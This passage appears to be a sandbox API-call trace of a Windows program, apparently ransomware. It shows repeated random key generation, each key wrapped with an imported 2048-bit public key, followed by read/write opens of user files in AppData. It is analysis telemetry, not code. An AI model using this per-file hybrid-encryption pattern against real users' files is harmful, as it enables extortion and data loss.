pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.871] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.871] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0203.874] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cfd90) returned 1 [0203.874] CryptGetKeyParam (in: hKey=0x50cfd90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.874] CryptEncrypt (in: hKey=0x50cfd90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.874] GetLastError () returned 0x0 [0203.874] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0203.874] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.876] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cfb50) returned 1 [0203.876] CryptGetKeyParam (in: hKey=0x50cfb50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.876] CryptEncrypt (in: hKey=0x50cfb50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.876] GetLastError () returned 0x0 [0203.876] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.876] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-21_115555_e74-e78.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-21_115555_e74-e78.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.877] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.879] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.879] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.879] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.879] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0203.881] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.882] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.883] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.884] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.885] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0203.887] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cfa50) returned 1 [0203.887] CryptGetKeyParam (in: hKey=0x50cfa50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.887] CryptEncrypt (in: hKey=0x50cfa50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x68a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x68a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.887] GetLastError () returned 0x0 [0203.887] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.887] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.889] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cfad0) returned 1 [0203.889] CryptGetKeyParam (in: hKey=0x50cfad0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.889] CryptEncrypt (in: hKey=0x50cfad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x68b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x68b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.889] GetLastError () returned 0x0 [0203.889] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.889] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-11-10_161047_cc8-42c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-11-10_161047_cc8-42c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.410] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.412] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.414] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.414] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.414] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.414] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0204.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.416] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.416] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.416] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0204.416] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.418] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf950) returned 1 [0204.418] CryptGetKeyParam (in: hKey=0x50cf950, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.418] CryptEncrypt (in: hKey=0x50cf950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x68c0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x68c0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.418] GetLastError () returned 0x0 [0204.418] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.418] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.420] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfdd0) returned 1 [0204.420] CryptGetKeyParam (in: hKey=0x50cfdd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.420] CryptEncrypt (in: hKey=0x50cfdd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x68d0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x68d0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.420] GetLastError () returned 0x0 [0204.420] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.420] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{219D4102-8477-4DA3-B68D-CBEB50436A31}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{219d4102-8477-4da3-b68d-cbeb50436a31}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.421] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.422] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.423] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.423] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.423] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.423] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0204.424] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.425] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.425] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.425] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.425] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0204.427] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfb10) returned 1 [0204.427] CryptGetKeyParam (in: hKey=0x50cfb10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.427] CryptEncrypt (in: hKey=0x50cfb10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x68e0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x68e0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.428] GetLastError () returned 0x0 [0204.428] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0204.428] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.429] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf890) returned 1 [0204.429] CryptGetKeyParam (in: hKey=0x50cf890, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.429] CryptEncrypt (in: hKey=0x50cf890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x68f0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x68f0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.430] GetLastError () returned 0x0 [0204.430] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{3142F004-AD96-48E4-B756-4D6F73D1B9C8}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{3142f004-ad96-48e4-b756-4d6f73d1b9c8}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.430] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.431] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.432] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.432] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.432] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.434] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.434] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.434] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.435] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.437] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfb90) returned 1 [0204.437] CryptGetKeyParam (in: hKey=0x50cfb90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.437] CryptEncrypt (in: hKey=0x50cfb90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6900000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6900000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.437] GetLastError () returned 0x0 [0204.437] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.437] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0204.439] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfbd0) returned 1 [0204.439] CryptGetKeyParam (in: hKey=0x50cfbd0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.439] CryptEncrypt (in: hKey=0x50cfbd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6910000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6910000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.439] GetLastError () returned 0x0 [0204.439] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.439] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{46F14CBA-A8C3-4AB0-8748-F3A8C35622B4}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{46f14cba-a8c3-4ab0-8748-f3a8c35622b4}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.439] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.441] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.442] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.442] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.442] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.445] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.445] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.445] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.447] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0010) returned 1 [0204.447] CryptGetKeyParam (in: hKey=0x50d0010, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.447] CryptEncrypt (in: hKey=0x50d0010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6920000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6920000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.447] GetLastError () returned 0x0 [0204.448] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.448] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.449] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfc10) returned 1 [0204.449] CryptGetKeyParam (in: hKey=0x50cfc10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.450] CryptEncrypt (in: hKey=0x50cfc10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6930000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6930000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.450] GetLastError () returned 0x0 [0204.450] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.450] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{5C217167-4731-4AFD-B181-6274E3DFBF25}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{5c217167-4731-4afd-b181-6274e3dfbf25}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.450] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.453] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.453] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.453] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.453] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0204.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.455] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.455] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.455] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0204.457] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfe90) returned 1 [0204.457] CryptGetKeyParam (in: hKey=0x50cfe90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.457] CryptEncrypt (in: hKey=0x50cfe90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6940000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6940000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0204.457] GetLastError () returned 0x0 [0204.457] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0204.457] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.459] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf990) returned 1 [0204.459] CryptGetKeyParam (in: hKey=0x50cf990, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.459] CryptEncrypt (in: hKey=0x50cf990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6950000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6950000*, pdwDataLen=0x285d630*=0x100) returned 1 [0204.460] GetLastError () returned 0x0 [0204.460] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.460] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{708686A3-2087-4B70-81FB-7F608AD7F5D4}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{708686a3-2087-4b70-81fb-7f608ad7f5d4}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.460] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0204.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.462] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0204.462] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0204.462] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0204.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0204.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0204.464] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0204.464] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0204.464] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0204.466] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cfc50) returned 1 [0204.466] CryptGetKeyParam (in: hKey=0x50cfc50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0204.466] CryptEncrypt (in: hKey=0x50cfc50, 